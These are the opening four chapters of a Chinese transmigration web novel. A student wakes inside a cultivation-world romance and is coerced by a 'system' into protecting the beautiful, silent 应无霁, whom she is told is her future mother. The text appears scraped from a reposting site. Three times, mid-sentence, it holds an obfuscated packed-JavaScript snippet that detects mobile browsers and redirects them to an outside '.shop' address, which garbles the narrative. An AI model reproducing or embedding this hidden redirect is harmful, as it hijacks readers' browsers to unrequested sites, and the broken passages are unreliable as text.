《穿书后把反派认成娘亲了》 1. 天降娘亲(1) 暮色沉沉,火红的云霞在天边勾勒出一副浓墨重彩的画。天边传来几声尖锐的鸟叫,暗影沉沉的树林间,突然闪过一道接着一道的黄光。 这黄光十分古怪,看起来柔和,但却能将触碰到它的树木全部拦腰斩断。 簌簌——南边的树叶微动,一道湖蓝色的身影轻巧一晃,一根树枝从飘飞的衣袖中掷出,和那黄光来了个硬碰硬,竟然将黄光挡了回去。 可那黄光行迹诡谲,竟然寻了个看不见的死角,加速朝着那道身影冲去。 砰—— 黄光刺入血肉,那道湖蓝色的身影倒在了地上,激起一阵飞扬的尘土。 红色的血源源不断地从那道身影背后流出,然后被一双黑色的靴子狠狠踩在脚下。 一白一红在血迹前缓缓停下。 其中那道白色的身影举起了手中的长剑,重重地朝着地面上的人刺去。就在这时,一道血红色的闪电劈过天际,竟然掀起了一阵地动山摇。 突如其来的变故让白衣男子手中的长剑脱手,趁此机会,地上的湖蓝色身影猛然暴起,狠狠掐住了男子的脖颈。 柳沅就是在这时,降临到了这个世界。 短暂的晕眩之后,她缓慢地眨了眨眼睛,迷茫地观察了一下四周,突然瞪大了眼睛。 这……是怎么回事? 满是枯树和枯叶的树林,带着血腥味的空气,还有……远处那两人仿若雕塑僵立不动的人…… 他们还穿着道袍,周身散发出五颜六色的气流,就像修仙小说里写的那样。 柳沅打了个激灵,迅速闭上眼睛,断定这是她写论文摸鱼时做的噩梦,醒来就好了。 醒来就好了,醒来就好了…… 叮——一声刺耳的系统提示音打破了她的妄想。 “恭喜宿主!你穿进了《被宿敌强制爱了怎么办》这本小说的世界!” “什么?穿书?”柳沅的表情顿时变得一片空白,惊叫一声。随后下意识低头去看自己的穿着。 不是她常穿的那件棕色屌丝短袖,是和那两人同款式的古装长袍。 不,她有点绝望地攥紧了拳头。 不,一定是幻觉。 她明明还在准备硕士毕业论文,她苦苦写了那么久的毕业论文,她在无数个夜晚期盼过的毕业。 一定是幻觉! 她闭了闭眼睛,在心里默默倒数了十个数,又重新睁开眼睛,发现眼前的样子毫无变化。 她真的穿书了。 她竟然穿书了! 还没等她完全消化完这个事实,远处的两人突然激烈地扭打起来。浮在两人身旁的气流也开始往四面八方乱撞,有一缕灰色的,直直地朝着柳沅所在的方向而来,带着极强的危险气息。 柳沅操纵着僵硬的身体,猛地往树后一躲,可还是不可避免地被那股气流扇了一下,脸颊火辣辣的疼。 从这一刻,她突然惊醒过来。 这不是梦。 这也不可能是梦。 “这不是梦,”系统打断了她的幻想,毫无感情的机械音尖锐难听,“重要的是前面正在决一死战的就是你的爹娘,如果你不能阻止他们的这场决战,你将被彻底抹杀,不仅无法回到原来的世界,也无法活下去。” 系统话刚说完,那道湖蓝色的身影若有所感,往柳沅所在的树边看了一眼,随后快准狠地抓住偷袭自己的白衣男子,把他狠狠往地上一摔。 破碎的血珠染红了白衣,溅射在空气中,她能闻到新鲜的血腥味,无比真实。 她能清楚地看到血液从身体流出的轨迹,能感知到血珠破碎在空气中的声音。 危险。这是这个陌生的世界带给她的第一个讯息。 柳沅感受着自己乱动的心跳,悄悄地躲在树后观察那两人,思考着自己要不要立即逃走。 这两人现在的架势就是你死我活,且不说她一个手无缚鸡之力的人能救谁,系统的话也并不完全可信吧? 现在不还流行系统是反派的小说吗?她还看过好多本。 柳沅一边思考,一边缓慢往远离那两人的方向移动。此时,一阵剧痛从脑海中传来。 “警告,警告,宿主有逃离任务倾向,即将提前启动抹杀模式。请宿主正视任务诉求,否则将立刻被抹杀。” 我不信。柳沅完全忽略的系统的警告,坚决地往林子外跑。 随着她迈开的步子越来越大,那股疼痛越来越不可控,在某一刻几乎让她失去了意识。 “警告,警告,抹杀机制启动倒计时。” “十,九,八,七,六,五……” 在连续不断的嗡嗡声和抽骨扒皮的剧痛中,柳沅倒在了地上,然后顽强地爬回了刚才的树旁。 “我,我不跑了,快停下!”她捂着脑袋,几乎快失去了意识。在她说出这句话后,系统突然安静了。 紧接着,不等她反应,脑袋里接连响起好几道任务提示音。 “人物账号已绑定,任务系统已解锁,目标人物【娘亲】已绑定,请尽快完成系统任务,否则将受到电击惩罚。” 柳沅有气无力地扶着树站稳,剧烈地咳嗽了好几声。 “请宿主尽快完成任务!”系统催促道。 该死。柳沅险些被飞过来的剑光削掉脑袋,慌张地换了棵树,忍着头痛接收着系统传递的信息。 “任务倒计时开始,十秒后若宿主仍未开启任务,即将受到电击惩罚。” “十,九,八。七……三,” 柳沅暗骂一声,赶在系统喊一之前,猛地冲了出去,正好冲到了正在血拼的两人之间。 目前处在上风的是一个穿着湖蓝色衣服的…… 柳沅的脑子停滞了一下,竟然分不清他到底是男的还是女的。 他长得很好看,很小很精致的鹅蛋脸,一双含情脉脉的桃花眼十分吸睛,鼻梁挺直,圆顿的鼻头带着点粉,看起来单纯又可爱。 特别是那双眼睛望过来的时候,深邃的眼神仿佛含了一池的春水,雾蒙蒙的,我见犹怜。只是看起来似乎在……走神? 他真的在走神!柳沅瞪大了眼睛,眼睁睁看着本来处于优势的此人,因为走神被狠狠捅了一剑。 得手的白衣男子戴着一顶挂着白色轻纱的帏帽,虽然看不见他的表情,但柳沅听见了一声很明显的轻笑。 “和我交手也敢走神吗?” 说罢,用力拔出剑,转头朝着柳沅挥来。惊恐之下,柳沅猛地往地上一蹲,几根头发被削了下来。 “系统!救我!”她撕心裂肺的喊声叫来了系统。 “恭喜宿主,完成救下娘亲人物,奖励一道千里传送符,是否使用?” 柳沅还没来得及震惊这人就是她所谓的娘亲,连忙道:“用!用!” 于是,树林里突然闪起一道蓝光,柳沅和失去意识的娘亲在一瞬间被传送走,只剩下站在原地愣神的白衣男子。 “又给他逃了。”一道清脆的女声从头顶传来。一个红衣女子蹲在树枝上,若有所思地望着刚才两人离开的方向。 白衣男子抬头看了她一眼,冷漠地收起了剑,露出一个古怪的笑容:“只要他活着,一定能被我找到。” 呼,呼,呼。 柳沅背着失去意识的那人,疾步在小路上奔跑,直到没力气了才停下休息。 她把失去意识的人放在地上,自己坐在一旁,不住地喘着粗气。 “宿主的任务完成的十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758347|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分顺利,具有非常优秀的潜质,不愧是我千挑万选的穿书者。”系统的机械音又在脑海里响起。 柳沅冷笑一声,断断续续道:“这不是你用死亡来威胁我吗?” “我敢不做吗?” 闻言,系统发出一道尴尬的长鸣,这刺耳的声音成功让柳沅的头更痛了。她捂着耳朵,忍无可忍地翻了个白眼:“接下来该怎么办?” “我看看任务列表……” 眼前的人突然动了动,然后柳沅便看见前一刻还如同死尸一样的人,猛地从地上坐了起来。明明衣服上沾了不少血,看起来应该是脏乱的,可配上这张脸,那刺眼的血迹倒像是绣在衣服上的花纹,衬得他越发动人。 两人大眼瞪小眼,最后是柳沅忍不住,开口问道:“请问,我该怎么称呼你?” 那双雾蒙蒙的眼睛盯着她看了一会儿,又若无其事的离开。他不说话,柳沅也不知道该说什么,只能尴尬地盯着地面,不自在地掐着手。 “你的娘亲叫做应无霁,就是你眼前的这个人。”系统道。 “你可以喊娘亲拉近一下你们之间的距离。” 这是个馊主意。柳沅确信,什么话都没说。 两人之间陷入一种死一般的寂静。 应无霁坐在地上发了一会呆,又把目光放在了柳沅身上。 “呃,你……” 她还没说完,应无霁又把脸转向了别处。 柳沅剩下的话卡在了喉咙里,脸唰的一下就红了。她紧张地抓住了自己的衣服边,眼神到处乱晃。 不知道过了多久,应无霁终于起身,往前走去,柳沅如蒙大赦,也跟着站了起来。 应无霁却突然停了下来,转身看她。那眼神很淡很淡,但不冰冷,只是带着点疑惑。 柳沅知道自己现在很像个不速之客,轻咳一声,说:“我……我救了你,所以……作为回报,你……你得收留我吧?” 应无霁垂下眼睛,好像真的在思考这个问题,最后轻轻摇了摇头。 什么意思?柳沅愣了愣。 可应无霁只是看了她一眼,没说话。 “你不是说她是我娘亲吗?为什么对我爱答不理的?”柳沅质问系统。 系统结巴了半天,才说道:“这……这个……我只是个任务颁发者,角色的自主行为我管不着,我也……我也不不知道啊……” 柳沅感觉自己被耍了,气的原地跺脚,恨不得把系统从脑袋里摘出来,狠狠打几拳。是它让自己完成任务,拯救娘亲的,怎么现在倒成了她被娘亲抛弃了? 应无霁望着眼前这个暗自发脾气的奇怪女子,歪了歪头,往前走了一步。 柳沅感觉一阵清风拂过自己的面颊,随后而来的是冰冰凉凉的触感。她的眉心被应无霁的手指轻轻按了按,一股舒适的感觉从脚底往上生发。 这股感觉转瞬即逝,她抬眼,发现应无霁也在看她。柳沅赶紧移开目光。 簌簌—— 柳沅的袖子被什么东西戳了戳,她低头一看,发现是一根十分普通的桃木枝条。 这根树枝的另一头握着一只陌生的手,这只手指节分明,指甲很小巧,带着点微微的粉。 她顺着那只手往上看去,正好对上应无霁的眼睛。 他依旧是那副冷冷的样子,眼皮耷拉下来,像没睡醒,配上他那一身的血迹,有种随时要归西的虚弱感。 柳沅小心翼翼地问道:“你没事吧?” 应无霁摇摇头,朝她晃了晃桃枝,示意她拽上去。 柳沅愣了一下,呆呆地放上了自己的手,突然,眼前的景色猛然一变,原本寂静无人的树林消失了,取而代之的是人来人往的小路,和不远处写着霞村的小村庄。 2. 天降娘亲(2) 柳沅震惊地望着这变化,一时之间出了神。手上的桃枝又动了动,拉回了她的注意力。 柳沅顺着力道传来的方向看去,发现应无霁淡淡地看了她一眼,眼神里带着点嫌弃。 好像她没见过世面的样子。 呵呵。柳沅在心里冷笑一声,暗暗翻了个白眼。 不过,她有点疑惑,记得刚才那个神秘的白衣男子捅了应无霁一剑,她也亲眼看见他的衣服染上了血迹。 但现在…… 她不可置信地揉了揉眼睛,再次确定应无霁的身上并没有血。 应无霁察觉到了她的视线,只是淡淡瞥了她一眼,继续拉着她往前走。 “这是个修仙世界,你的娘前是修仙世家的大小姐,会些伤口疗愈之术实属正常。”系统突然道。 柳沅被这声音吓了一大跳,左看看右看看,除了应无霁再也没看到别人后,才意识到这是系统发出的声音。 刚才的打斗场景哗啦一下在脑海里播放,她深吸一口气,总算有点脚踏实地的感觉。 她真的穿书了,而且穿进了一个陌生的修仙世界,一个和原来的世界完全不同的小说世界。 霞村是个临水而建的小村庄,粗略望去,一村子大概有个几十家住户,都住的是木屋,只有零星几栋茅草屋,屋前堆着柴火垛,应该是柴房。地面上都铺着碎石子,因为常年走动,表面浮起一层淡淡的光泽。 小路上人很多,都穿着灰褐色的布衣,见应无霁身后带了个陌生人,都十分好奇地往柳沅身上看。 她不自在地移开视线。 “这是去哪了?怎么还带了个小姑娘回来?”有个拿着菜篮的大娘路过,笑着问了一嘴。应无霁没说话,只是微微朝那人点头。 大娘不仅没生气,还关心道:“马上快天黑了,快些回去,别留在外面。” 应无霁点头,拉着柳沅快步往前走。他步子迈的很大,柳沅踉跄了一下,小跑着才能跟上。 越往前走房屋越少,大概在最靠近河边的角落,应无霁停了下来。 眼前是一栋破旧的小木屋,房子外面围着松松垮垮的木篱笆,院子倒是挺大的,但角落里都长满了杂草,看起来怪荒芜的。从外面看,房子一共有三个房间,从外面看都破破旧旧的。 看来她这位娘亲生活很拮据。柳沅心想。 应无霁带着她走进院子,收回桃木枝,也没和她说话,径直往东北角的那个房间走去。 “等一下。”柳沅喊住了他。应无霁转身,神色清冷平淡。 其实她很想问些别的,比如这村子的一些基本情况,还有,做个自我介绍啥的。但看应无霁这副不食人间烟火的样子,应该是问不出来的。 两人面对面,大眼瞪小眼,谁都没说话。柳沅自认为自己虽然不算是那种社交□□,但也绝对不是社恐,可是面对应无霁就是有种淡淡的尴尬。 尴尬到说不出话来。 应无霁的眼神平静无波,可被这样毫无波澜的眼神一直注视着,反而让她更加不安。 她一紧张就喜欢皱眉头,手也在无意识地摩挲着衣角,一副不知所措的样子。应无霁依旧没什么表情,见她不说话,继续往那东北角的房间走。 柳沅只觉得他走之后那种古怪的氛围就消失了,连忙松了一口气,在院中的石凳上坐下。 她开始向系统了解这本小说的主要剧情。 “这本小说原来应该顺利发展的,可其中有个角色出现了问题,不受控制,所以我只能找到了你,来帮助我一起将剧情顺利发展下去。” “这本小说叫做《被宿敌强制爱了怎么办》,你穿成的角色是后期剧情中男女主的女儿。” 闻言,柳沅啊了一声,表情变得十分一言难尽:“你的意思是我要搞狗血强制爱?” “非也非也,”系统的腔调突然变得神神秘秘,“你的爹娘才是狗血强制爱,你的任务就是确保娘亲能够活着到生下你的那一刻。” 柳沅回想着应无霁那张漂亮的脸,和看起来就弱不禁风的身体,诡异地沉默了一下。 “原故事线中,你的娘亲和爹爹从小青梅竹马,也定了娃娃亲。你的娘亲非常喜欢你的爹爹,可你爹不满足于如今的地位,非要成为修仙界的霸主,揭开世界的谜团。为此屡次抛弃你娘,甚至在他们的大婚上公然宣布要娶反派的妹妹。你娘是个恋爱脑,虽然难过,但坚信你爹是被坏人所迫,竟然心甘情愿地自毁修为,把你爹从正派人士地多重包围下送了出去。” “后来你娘偶然发现自己有了身孕,但回想起你爹的种种所为,心灰意冷,决定找个所有人都找不到的地方,暗自生下你,最后独自抚养你长大。可就在你五岁那年,你爹受伤逃到此地,发现了你和你娘,怒火中烧的他以为你是你娘和别的男人的私生女,于是强制囚禁了你娘,并把你扔了出去。后来经过重重虐恋,他终于发现你才是他的亲生女儿,你们一家三口幸福地生活在了一起。” 系统讲完之后,柳沅沉默了很久,最后憋出句真狗血。 系统不满,辩驳道:“爱情就是这样,惊天动地才有意思,面目全非才好看。” “你说的都对。”柳沅敷衍道。 “这样的爱情才有意思,宿主你不觉得吗?” “我不觉得。”她特意咬重字音,强调道。系统说了句没品味,柳沅也懒得和它争论,自顾自观察起这个房子的布局。 除了应无霁刚才进的那个房间外,还有三个房间。正出神,院中突然飘来一股淡淡的烟雾,柳沅向天空望去,发现是从烟囱里冒出来的。距离她上一次看见烟囱,已经是小时候的事情了,她觉得有趣,看了好几眼,直到应无霁端着几盘菜,从厨房里出来。 柳沅愣了一下。 等应无霁把那几盘菜摆放在她坐的石桌前,还给她拿来碗筷时,她的大脑彻底停止了思考。 原来应无霁刚才进的屋子是厨房吗?所以他刚才是给她做饭去了? 无数个疑问盘踞在柳沅心头,让她看着应无霁的眼神都变得无比奇怪。 她们才刚刚认识,应无霁就又是把她带回家,又是给她做饭。柳沅回想着系统讲述的故事,突然觉得她的娘亲可能是个单纯可爱的傻白甜。 对!这样一想就通了! 配上应无霁总是面无表情的样子,傻白甜的性格准了! 柳沅怀着一种十分复杂的感情,意味深长地看了他一眼。应无霁忽略她的目光,什么也没说,转身就往东面的那个房间走去。 而这样的举动更是让柳沅确认了自己的猜测。 傻白甜娘亲人美心善,心软,嘴笨不会表达想法,因此才会被渣爹骗。 “我就说你的娘亲人美心善吧,还给你做饭。”系统在她耳边说道。柳沅看了看桌上还冒着热气的菜,惆怅地望天道:“她真的会和那个渣男在一起吗?她明明应该有更好的人生。” “可是如果不按照小说情节进行,世界的故事线就会崩塌,你也会死。”系统道。 “虽然我在书中世界的角色是他们的女儿,但我其实是现实生活中的人,并不会被他们影响啊。”柳沅坚持道。 系统叹了一口气,问道:“那宿主觉得自己为什么会突然穿越到这本小说里呢?” 一个答案猛然浮现在眼前,柳沅的表情僵了僵,不说话了。 “你在现实生活中已经死了,只能通过穿书获得复生的机会。” 柳沅不说话了,专心致志地吃饭。系统知道自己已经说服她了,和她聊着接下来的任务规划。 系统的说明集中在原著的故事情节上,柳沅已经听过一遍了,于是撑着头开始发呆。 她竟然真的就这样穿越进了一本小说的世界。这在网文里写烂了的剧情,竟然真的发生在了她的身上。 而且……她皱起眉头,这本小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758348|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的内容似乎并不怎么正常,系统说她是应无霁和渣爹的女儿,要想活下去首先要救下娘亲。看起来从渣爹手里救下娘亲是唯一的任务,但…… 柳沅用手摩梭着木桌的边缘,有种不祥的预感。 现在娘亲和渣爹都还年轻,那就意味着那些狗血的事情还没发生,而且不知道出了什么差错,他们提前变成了敌人。柳沅想顺利活下去,将会有一个长线任务要做。 就在这时,系统那该死的任务提示音又响了。 “恭喜宿主完成第一阶段任务,奖励已发放,请注意查收。另外,第二阶段任务已开启,请宿主随身保护娘亲的安全,直到她伤势痊愈。” “任务只是到娘亲痊愈吗?”柳沅怀疑道,“我不会要撮合他们重新在一起吧?” 柳沅这话说对了,系统久久没有回答,最后迫不得已发出一声桀桀桀。 她绝望地闭上眼睛,半死不活道:“所以你根本就没有一个确切的时间能送我回去?” 系统赔笑道:“有的有的,时间完全由你决定,你什么时候让他们重新在一起了,你就能什么时候回去。” 系统不愧是系统,说了跟没说一样,反正现在唯一确定的信息就是,柳沅短时间回不去了,而且将在这个陌生的世界呆很久。 她盯着远处渐渐朦胧的天色发呆了很久,最后突然笑了一声。 系统怕她承受不住疯了,忙道:“其实宿主也不用太悲观,这本书虽然说的确很狗血,但是你现在所处的起码是一个真实的世界,真实的世界不会……” “就当是一场新的生活。”柳沅打断了它的长篇大论,心情很好地哼起歌曲,曲调听起来像好运来。 “你倒是我遇见过最乐观的宿主。”系统道。 “不乐观怎么办?纠结自己能不能回去吗?还不如享受生活。” “……你心态真好。” 吃完饭后,柳沅走到应无霁的屋子前,轻轻敲了敲门。 没有人应答。 她又敲了敲,还是没有人应答。 应无霁被捅了一剑,虽然表面上看着没什么事,但说不准有内伤。柳沅设想了最不好的情况,伸出手准备破门而入。 此时,门突然被打开了,应无霁的半张脸从门口露了出来。那双含着春水的桃花眼微微眯起,眼角带着点红,好像刚从睡梦中醒来。 应无霁盯着柳沅,也不说话,只是用眼神示意自己的疑惑。 不知道为什么,柳沅有点紧张,开口道:“我看你好久都不出来,以为你出事了。” “你的伤没事吧?” 应无霁摇摇头,披散在肩膀上的发丝随着他的动作轻轻摆动,有点迷糊的可爱。 柳沅的视线不由自主地被他柔顺黑亮的头发吸引,忍不住看了好几下才继续道:“碗筷我已经收拾好放在厨房的柜子里了,对了我看你没吃饭,要不要……” 她话还没说完,面前的门突然一下就关上了。应无霁根本没给她反应的时间,就将她隔绝在了门外。 柳沅愣了愣,随后猛然生起一股火气,转头就把系统喊了出来:“你不是说我娘亲温柔可亲吗?这是什么?” “从一开始穿过来她就没对我说过一句话,我看起来那么不好相处吗?” 系统解释道:“这有可能是因为你在她看来是个完全的陌生人,她刚被最爱的人捅伤了,心情肯定很不好,波及到你也是正常的……” “根本就不正常!”柳沅气愤地握紧了拳头,对着房门就是狠狠一砸,没想到自己的力度竟然被反弹了。她愕然地瞪大了眼睛,眼睁睁看着自己快速离房门远去,然后一头栽进了泥土里。 “啊!”她狼狈地从泥里抬头,愤恨地望了一眼应无霁房门的方向。 “警告警告,宿主有伤害娘亲的倾向,请尽快收起这种危险的想法,专心守护娘亲,否则将受到电击惩罚,严重将被世界抹杀。” 3. 天降娘亲(3) 柳沅在刚来时就体验过系统口中的抹杀惩罚,简直是痛不欲生。 那种感觉她不想再体会第二遍。于是她硬生生忍下了那股怨气,狼狈地从土里爬了起来。 “原来你说的保护娘亲,还必须我心甘情愿,不能有一丝怨言?”她似笑非笑地问道。 系统干笑一声,解释道:“我们必须确保宿主不会对娘亲有任何杀意,这是完成任务的必要条件。” 柳沅晃了晃衣裙上沾着的泥土,不知道有没有听进去系统的话。 “你不是说有任务奖励吗?奖励呢?”她随口问道。 系统没说话,她以为它没听到,又问了一遍。 系统还是没说话。 柳沅拽着袖子的手停在了半空中。 系统又发出了熟悉的笑声,像是故意模仿成人说话的孩童:“系统给宿主的奖励,您已经用了呀。” “每次任务完成都只会发放一次奖励的。” 柳沅抱臂,冷笑一声:“你是说之前的那张千里传送符?” “对对对,宿主你明明已经用了。”系统忙道。 如果当时她不用,她和应无霁都不会安安稳稳地站在这里。而且千里传送符算什么奖励? 柳沅打量了一眼破旧的庭院,在心里吐槽道:她明明更需要的是钱。 这算是上了贼船了,柳沅面无表情地揉了揉手指,没说话。系统以为她生气了,还在喋喋不休地解释任务系统。 “其实宿主也不用担心,我们后续的任务都设置了奖励系统,会随着任务的难度解锁不同的任务,也会有越来越丰厚的奖励。” “停,别说了,很吵。”柳沅捏了捏自己的鼻梁,打断了系统的长篇大论。 系统小心翼翼地询问道:“宿主您不生气了?” “生气有什么用?这不是被你坑了吗?”柳沅冷不丁道。 系统没说话,估计是心虚。 柳沅满不在乎地绕着院子走了一圈,大概了解了她这位娘亲的生活水平。 拮据。 实在是拮据。 整座房子都破破烂烂的,院子看着大,实际上什么东西都没有,而且角落里堆满了不明的黑色渣渣,看起来怪埋汰的。 她有点嫌弃地捂住了鼻子,再度来到了应无霁的房门前。这回她学聪明了,没有直接接触门。 “那个……”她喊了一声,“我今晚应该住在哪里?” 门内没有回答。 柳沅撇了撇嘴,转身往院子里走。 这时,身后突然传来一声破空的声响,她下意识往左边一躲,一根桃木枝就那么擦着她的侧脸飞了出去。 砰—— 那根桃木枝扎在了西侧那个小房间的门板上。 柳沅捂着火辣辣的侧脸,狠狠瞪了一眼那间房门,此时,脑海里再度传来系统的警告声:“请不要对娘亲产生杀意,严重会立即被系统抹杀,请不要……” “我知道了!”她气的凶了系统一声,猛地伸手把那根桃木枝拔了下来,扔在地上,还踩了好几脚。 “那个,生气对身体不好,你……” 柳沅气的胸膛起伏,唇色发白,闻言气势汹汹地踏进房间,砰的一声关上了房门。 系统还想说些什么,就听见柳沅幽幽来了句:“你再说话我现在就出去把应无霁砍了,然后我们谁都别想完成任务。” 系统哆嗦了一下,彻底闭了嘴。 这个房间虽然小,但东西还挺齐全的。柳沅给自己顺了顺气,才发现外面的天已经被黑色填满了。 秋日的天空像没被完全冻上的水面,冒着苍白的寒气。她哆嗦了一下,连忙关上了窗户。不知道为什么,当房间彻底陷入黑暗的那一刻,一种完全无法拒绝的困倦包裹住了她的身体,她开始不受控制地往地面栽去。 柳沅忍着那股奇怪的困倦,跌跌撞撞地扑到了床边,随后眼前一片黑暗,她便失去了意识。 柳沅是被冻醒的。 她哈了一口气,慢吞吞地从床上爬起来,整理了下自己的衣服,打开了窗户。 灿烂温暖的阳光洒下来,带来了一丝久违的暖意,柳沅感觉心情好了一点,想去看看太阳,不经意间看见了坐在院子里的应无霁。 他穿着湖蓝色的广袖长袍,衣摆绣着淡白色的云纹,头发披着,静静地坐在石桌旁。霜白色的天空突然飞过一只黑色的乌鸦,应无霁的眼睛眨了眨,视线随着天空那一点黑色,淡淡地落到了窗边的柳沅身上。 那双黑中透蓝的瞳孔倒映出柳沅呆滞的样子,随后轻轻地移开了。不知道为什么,柳沅有点尴尬,连忙关上了窗户。 随后是一阵匆忙的脚步声,柳沅匆匆走到院子里,脑子有点钝。 “晚上我的房间有点冷,有没有更厚一点的被子啊?”她问应无霁。 应无霁垂下眼睛,睫毛在阳光的照耀下生出淡淡的阴影。 他没说话。 柳沅轻轻叹了一口气,弯下腰直视他的眼睛,困惑道:“你为什么总是不和我说话呢?” “虽然说我来历不清,你有警惕心也正常,但是为什么就不和我说话呢?” 应无霁有点发愣,看着她疑惑的样子,张了张嘴,最后还是没说出话来。 柳沅看见他这副冷若冰霜,拒人于千里之外的样子,失望地塌下了肩膀,转身往院子外走去。 此时,系统突然跳出来道:“娘亲刚刚才经历了最爱之人的背叛,情绪还不太稳定,你不用难过。” 柳沅摇摇头,拉紧了自己的衣领,道:“我不是难过。只是觉得她这样的态度我能理解。” 闻言,系统不解道:“既然能理解,为什么又会难过呢?” 柳沅没说话了,只是一味地往村子房子密集的地方走。 “你干什么?”系统问。 柳沅哈了一口气,搓了搓自己冰凉的手指,道:“太冷了,乡下没有什么煤炭,我这娘亲看着像十指不沾阳春水的大小姐,指望她去拣点柴火是不可能的。我去问问村民山里哪里能捡到柴火。” 正说着话,一个穿着粗布衣,拿着菜篮的大娘走了过来,柳沅眼睛一亮,忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758349|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了过去。 “哟,这不是俏儿姑娘昨天带过来的人吗?”大娘看见她笑道。 “俏儿?”柳沅忍不住反问道。 “对啊,昨天带你回来的那个姑娘不喜欢说话,模样长得又好看,我们村里人都叫他俏儿。” 柳沅想起应无霁那副冷若冰霜的样子,莫名有点想笑,但还是忍住了,问道:“这里哪里能捡到柴火吗?” 大娘十分热心地指着不远处的山,道:“那里,不用走太远,一进去就能找到。不过最好是中午再去,现在是秋天,早上霜露重,树枝会很湿。” 柳沅应了一声,笑着朝大娘道了谢。 太阳慢慢升到正空,身体也渐渐暖了起来,柳沅回到院子里,发现应无霁不在。 房门是开着的,从外面看只能看见满屋子的书,柳沅瞟了一眼那扇开着的门,去厨房翻找了一会,找出了破旧的斧头,和一个满是蜘蛛网的背篓。 “她到底是怎么活下去的?”柳沅一边把那蜘蛛网擦掉,一边暗自嘟囔着。 等她把所需的东西都准备好,外面已经是阳光朗照了。她照着大娘话里的方向进了山,很快就找到了要去的山林。 村庄附近的这片山林很茂盛,树长得都很高很杂,阳光不能轻易地照进来,走在林间倒有种分不清黑夜白天的感觉。 柳沅把稍稍往下滑了点的背篓往上提了提,装进去了最后一把柴火。她想抬头看看太阳的位置,好判断到底是几时了,但这边的树木太旺盛了,她不得不又往前走了走,好不容易才找到一点空地。 太阳稍稍往下落了落,不在正中间,应该是刚过中午。柳沅用袖子擦了擦额头的汗,决定先回去。谁料刚一转身,四周全是陌生的场景。 刚才进山的那条小路,不知道哪里去了。 “系统,出来干活了。”柳沅喊了一声。 “宿主有什么事吗?”系统问。 “我迷路了,你……”她刚把话说出口,不远处便传来一阵爽朗的笑声,系统的声音逐渐变得断断续续,到最后只剩下刺耳的电流声,再后来彻底消失了。 柳沅完全没感觉不对劲,鬼使神差地往那声音发出的地方走去。 这里似乎不常有人来,地面上铺着厚厚的枯树叶,走上去发出一下接着一下的脆响声,伴着那笑声,倒成了一出颇具野趣的曲子。 这长满树木的荒野间竟然有一块十分巨大的空地,一黑一白两道身影谈笑着,指着那地面说着什么。 柳沅走近的时候,那两道身影很有默契地转身,对着她微微一笑。 “这么多年,这里倒是第一次有凡人进来。”那道看不清面容的白色身影笑道。虽说是清脆的青年音,可却带着点故作爽朗的沙哑,像二胡琴弦拉过木头的声音。 透着点奇怪的诡异。 柳沅的注意力完全被地面上画着的棋盘吸引了,也没仔细听这二人的话,就要往棋盘上踩。 “哎!”另一边的黑色身影拦住了她,语气里带着点森冷:“这可不是普通的棋盘,进去了就再也出不来了。” 4. 天降娘亲(4) “除非你能将这残局解了。” 黑色身影指了指棋盘上四处分布的黑白棋子,沉声道。 柳沅缓慢地摇了摇头,似乎在思考他口中的话,但身体仍旧不受控制地往棋盘处走。 渐渐的,她好像成为了棋盘中的棋子,被那两人执在手中,在谈笑间粉身碎骨。 怎么……回事?不对! 柳沅猛地惊醒,突然发现自己正躺在地上,脑袋里传来系统焦急的喊叫。 “宿主!宿主!你怎么了!” 她揉揉眼睛,环顾四周一圈,并没看见刚才的两道黑白身影,不过,当她向下看时,身体猛地僵住了。 她正位于棋盘正中央的位置——天元 而她的手中,正握着十颗棋子,五颗黑色,五颗白色。 柳沅的大脑飞速运转着,冷静地分析着现在的情况。过了一会儿,她从地上爬起来,深吸一口气。 “我以前在书里看过一个故事,以前有人在山中遇见仙人下棋,好奇观看,等棋局结束,已经过了一百年。” “书中并没有这个情节啊。”系统着急道。 柳沅摩梭着手中的棋子,仔细观察起棋盘,冷声道:“我知道,但这是个修仙世界,在修仙世界里,山林是常常发生奇遇或者危险的地方。我刚才遇见的那两道身影,要么是神仙,要么是妖鬼。” “而目前的情况便是我被困在了这个棋局中,如果不能及时解开,不知道会不会和那个故事一样,回去时已经过了百年。” 闻言,系统急了:“这可不能过百年啊,你还要撮合你爹娘在一起呢。” “都死到临头了,你还想着任务呢。”柳沅咬牙切齿道。 系统装死不说话了。 柳沅望着自己手中的黑白棋子,似笑非笑道:“你也不用装死,我要是完成不了任务,你也别想好过。” “那能怎么办,我只是按照任务列表分配任务,怎么会知道会发生这种情况。”系统抱怨道。 